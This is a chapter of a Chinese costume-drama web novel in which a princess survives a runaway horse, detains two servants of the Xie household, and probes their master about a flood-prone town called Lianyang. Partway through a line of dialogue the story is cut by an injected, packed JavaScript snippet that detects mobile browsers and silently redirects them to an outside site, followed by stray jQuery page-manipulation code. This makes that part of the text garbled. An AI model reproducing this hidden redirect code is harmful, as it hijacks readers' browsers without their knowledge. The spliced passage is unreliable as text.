2. 送上门了

作品:《灯明夜观棋

    崇德三年。


    寂渠湖早春的枝桠正含着苞儿待放,湖里的冰解冻,化作滔滔流水向东而去。


    两道鹅黄色的衣袍在光秃秃的湖边格外惹眼。


    空气里带着丝冷冽的细风。


    “春光、春水,骑马,当真快意!”稚气未脱的少女轻拍着马儿的肚皮,“红枣,多喝些,一会儿我们好上路。”


    对比之下,身旁的少女更显稳重。


    头挽堕马髻,一只玉簪穿插发中,发丝有些许凌乱。


    少女杏眼长睫,粉唇肤白。


    永诚郡主看向身旁人。


    “燃燃,发什么愣,我们走了。”


    “好。”


    “走,咱们绕湖骑一圈。”永诚跨上她的马,“晚些去你府上吃饭。”


    城郊下了半日的雨,散发着泥土的气息。


    马蹄踏在泥坑,泥点飞溅在衣摆上。


    “驾——”永诚还嫌马跑得慢。


    “卫妍,你慢点儿。”


    “你快点儿嘛。”


    卫燃的马病了,今日的马用的不大顺手。


    石子小路上,什么东西突然窜出来,挡住了去路。


    “吁——”她紧急抓住缰绳,却已经来不及,马蹄下一摊肉泥散发出血腥味,她还没来得及看清是什么东西。


    紧接着两只羽箭飞过来,擦着马肚过去。


    突然马抬起前脚跳跃,不断摇头往前狂奔,嘴里发出嘶鸣。


    “吁——”她死拽缰绳,企图控制。


    身后随行的侍卫察觉不对。


    “护驾!”


    “保护公主。”


    马带着卫燃跑在小道上,速度极快,她的身体在马背上摇摇晃晃,不时被撞击,头上的簪子也不知去向,头发披在身上,时不时吹到脸前,十分狼狈。


    马停在湖边,在水里扑腾,溅她满脸水,幸而赵诚及时赶到,一箭将其射死。


    卫燃头发凌乱,衣裙半湿,裙摆拖挡着泥水。


    “殿下怨罪,属下失职。”赵诚跪下谢罪。


    “起来吧。”她看向林中匆匆赶来的人群。


    “殿下,没事吧。”


    婢女留意急乎乎跑过来。


    卫燃拍拍她的肩。


    永诚将身上的披风解下,披到她身上:“人抓到了,看你如何处置。”


    紧接着,侍卫押着两个男人走近。


    两人一脸不知所措。


    绝不是刺杀,没那么蠢。


    留意气极:“大胆!面见公主,还不跪下谢罪。”


    两人早就吓出了一身冷汗。


    今日公子进宫,给他们放了假。


    壬秋和颂一便计划着到效外捕猎,转了几个时辰,好不容易逮到只兔子,如获至宝,野兔狡猾,连放几支箭都没射中。


    谁成想这荒郊深林的,竟还有人。


    闯祸了。


    壬秋硬着头皮开口:“公主恕罪,我二人实不知殿下在此。”


    两人衣着打扮不像是平头百姓。


    永诚:“报上家门来。”


    “我,我二人是谢…谢家的。”


    整个上京还有哪个谢家。


    永诚和谢竺雅一直不对付。


    好啊。


    “你们国公府便是如此教养下人的?”永诚新仇旧账一起记。


    “不是,我,我们公子……”颂一想反驳,被壬秋一个肘击堵了回去。


    壬秋认识这位,整个上京和大小姐最不对付的永诚郡主,那另一人便是和郡主交好的元贞了。


    元贞公主,先帝唯一的血脉,明贞二十一年先皇遇刺,瑾王即位,对这位侄女极尽宠爱,就是自个儿亲生的都比不过。


    这下真完蛋了。


    卫燃弯唇一笑,送上门来了。


    “谢家公子的人?”


    “是。”


    “那便叫你们公子亲自来公主府提人吧”卫燃上轿,“留意,派人去国公府知会一声。”


    永诚看不懂了,卫燃从来不是轻易刁难人的主儿。


    卫燃却轻拍她的手,让她安心。


    “回府。”


    ……


    *


    人说春雨贵如油,但今日的雨不要钱似的下个没完。


    公主府后院落叶满地,有那么一丝秋寂荒凉的感觉。


    卫燃坐在亭中。


    留意将煮好的茶倒出:“殿下,那谢竺宴好生无礼,眼下都酉时了,还不来领那两个蠢仆。”


    “总会来的。”卫燃捏起半块蓉奶酥放入口中,“不急”。


    诗情端着食盒过来。


    “殿下今日受惊了,用些养神汤罢。”


    她将碗盏放下。


    “殿下,可要给他们送些吃食。”


    他们,自然指的是谢家那两人,眼下正在侍卫房中关着。


    “饿他们两顿才好。”留意愤愤不平,“心疼他们做甚?”


    诗情眼神示意她闭嘴。


    “诗情细心,送去吧。”


    “是。”


    “殿下,莫要贪凉,一会儿雨便要下大了。”她不忘叮嘱。


    “嗯。”


    ......


    不一会儿,小厮进来通报,说国公府公子来了。


    “让他在厅中候着。”卫燃说:“留意,随我去更衣。”


    “殿下,他来的这般迟,我们好好晾晾他。”


    留意又出鬼点子,被一旁的诗情制止:“留意,莫要胡言。”


    “哦。”


    ……


    “谢大人,久等。”卫燃坐在上首。


    “微臣见过殿下,殿下万福金安。”谢竺宴行礼,不卑不亢。


    卫燃这才低头看向下面的人,她这三年鲜少在上京露面,宫宴也是能推就推,三年,上京的人早就换了一番。


    男人眉眼如墨,身姿高大,一双眼睛透着凉薄,面无表情。


    “早听闻谢大人风度翩翩,今日一见,果然名不虚传。”


    “殿下谬赞。”


    “大人一身官袍来向本公主要人,要挟本宫?”


    “殿下明鉴,微臣与陛下议事,适才出宫。”


    “不知宫内发生何事,大人竟这样忙碌。”


    “此事甚小,殿下无须挂怀。”


    这卫燃打的什么主意。


    “雨还要下一会儿,大人不妨吃盏茶再走。”


    “诗情,给大人看茶。”


    “是。”


    “大人尝尝看。”


    谢竺宴给面子地端起茶盏喝了一口,但未语。


    “大人可尝得出是哪里的茶。”


    “下官愚钝。”


    “此茶产于莲阳,谢大人可去过莲阳,那里每逢雨季甚美。”


    “未曾。”


    “那太可惜了。”


    谢竺宴手指放在膝盖上敲击,莲阳每逢雨季便发洪水,美?


    ……


    谢竺宴负手立在公主府门前。


    府门缓缓打开,两个男人慢悠悠地走出来。


    “公主府的点心太好吃了。”颂一手舞足蹈,“哪里请的厨子。”


    “别想了,肯定是御厨。”


    谢竺宴气不打一处来,“耽误你们过好日子了是吧。”


    两人这才看注意到自家公子。


    壬秋摆手,“没有没有。”见公子着一身官袍,他小心翼翼地问,“公子,刚出宫吗?”


    谢竺宴瞥他一眼:“嗯。”


    他在宫里忙到傍晚,一出宫,又来收拾公主府的烂摊子。


    “长本事了,惹事都惹到公主府了。”


    “罚俸半月。”


    “不要啊,公子。”两人叫苦不迭。


    “再叫,半年。”


    两人立刻安静了。


    ......


    *


    卫燃伏在桌前。


    “诗情,把官员出访记录再拿过来。”


    “公主,您都看好几遍了。”


    “到底哪一步出了错,他怎么会没去过莲阳。”


    诗情:“记录上清清楚楚记载着谢大人曾去过莲阳,但奴婢瞧今日他那模样也不像扯谎。”


    “若他真去过,何必隐瞒,莫非做贼心虚?”留意说。


    “肯定是哪一步出错了,谢竺宴不是会自乱阵脚的人。”卫燃扶额,手里不停翻动户册:“到底哪里错了……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108131|179880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此事恐怕没那么简单。”


    “若他去过,怎会不知莲阳连年发洪。”本想诈他,可惜了。


    “算了,其他有嫌疑的官员让蔷薇挨个儿查吧。”


    “夏小安呢,算算日子,该回来了吧。”她又想起一事。


    “是,他来信说大概后日进京。”


    “且看看他那边什么情况吧。”


    入夜的风清凉松快,卫燃趴在窗前。


    那女人在莲阳来去自如,户籍也变更了,朝中恐是有人撑腰,她翻遍了近四年的官员出访记录,给谙乐楼递了消息,没想到今日就正巧遇到。


    ……


    殿下昨日说想吃莲子糕,诗情一大早出门买莲蓬。


    她提着篮子到后门。


    院内的泡桐树枝桠延伸到墙外。


    叭嗒——


    有什么东西掉了下来,诗情只当是风吹。


    叭嗒——


    又一声。


    她终于抬起头,“夏小安,下来。”


    树上的人嘿一声,“诗情姐姐怎知是我。”


    小少年从半墙高的树上跳下来,嗓音稚气:“嘿嘿,就等你这筐莲子糕呢。”,他笑起来,露出两颗虎牙。


    “殿下定是知道我要回来了,特意让诗情姐姐做上。”


    “无赖。”她径自进去。


    “诶,别关门啊,我还没进去。”夏小安连忙去推门。


    诗情被逗笑:“我看你武功长进了,树都能爬,翻个墙也不是什么问题吧。”


    夏小安扶额:“诶呀,我好饿,要饿晕了,姐姐行行好快让我进去吧。”


    古灵精怪。


    ……


    “此行有什么收获?”


    “殿下,那人又在莲阳现身了。”夏小安一脸懊恼,“可惜她行踪不定,没跟上。”


    “卫燃顿住,“这段时间现身这么频繁……”


    “要不要让赵诚去跟。”


    卫燃摆手:“若她留有一手,赵诚太容易暴露,反而会打草惊蛇。”


    派了几波人跟,都是一个结果。


    她思索良久,叹息一声,“我亲自去。”


    ……


    “家里人可还好?”


    夏小安和奶娘此去一是为了探亲,再者是打探消息。


    “家里人一切都好。”


    夏小安是卫燃奶娘的孩子,奶娘死了丈夫,他自出生就待在上京,这还是他第一次回乡。


    “祖父见到我又哭又笑,临走前硬是塞了一把银子给我。”


    “那便好。”


    夏小安斟酌着开口,“殿下,还有一事。”


    “说。”


    “殿下等等,我马上就来。”他三步并两步跑出去。


    人回来时,喘着粗气,怀里鼓囊囊的。


    “殿下。”


    “什么东西。”


    “呜,呜。”


    他怀里那团呜咽两声。


    夏小安小心翼翼的从怀里掏出来一个东西,放到桌子上。


    一只混身雪白的小狗崽,眨巴着黑溜溜的眼睛,水润润的小鼻子在桌上乱嗅。


    “呀,小狗。”留意的目光瞬间被吸引。


    小白狗在桌上缓缓移动,但腿还是软的,走一步跌一步。


    “大黄下崽了,临走前祖父非让我拿一只。”夏小安生怕卫燃不同意养,“这是一窝里最好看的一只……”


    “殿下实在不同意,送人也成。”


    “殿下,留下吧。”留意的心早就萌化了。


    连诗情也开口:“府中无聊,有个活物逗乐也有趣儿”。


    “多大了。”卫燃捋捋小狗身上的毛。


    “刚满一个月。”


    “取什么名字?”


    “啊?”


    “发什么愣,殿下这是同意了。”留意撞他胳膊。


    夏小安反应过来,欣喜若狂,“名字随殿下取!”


    “昨夜梦见杏子熟了,就叫杏子吧。”


    “好名字。”


    夏小安掂起它脖颈:“杏子,杏子,以后你就叫杏子了。”


    “汪—”


    “诶,它应了,它应了。”


    ……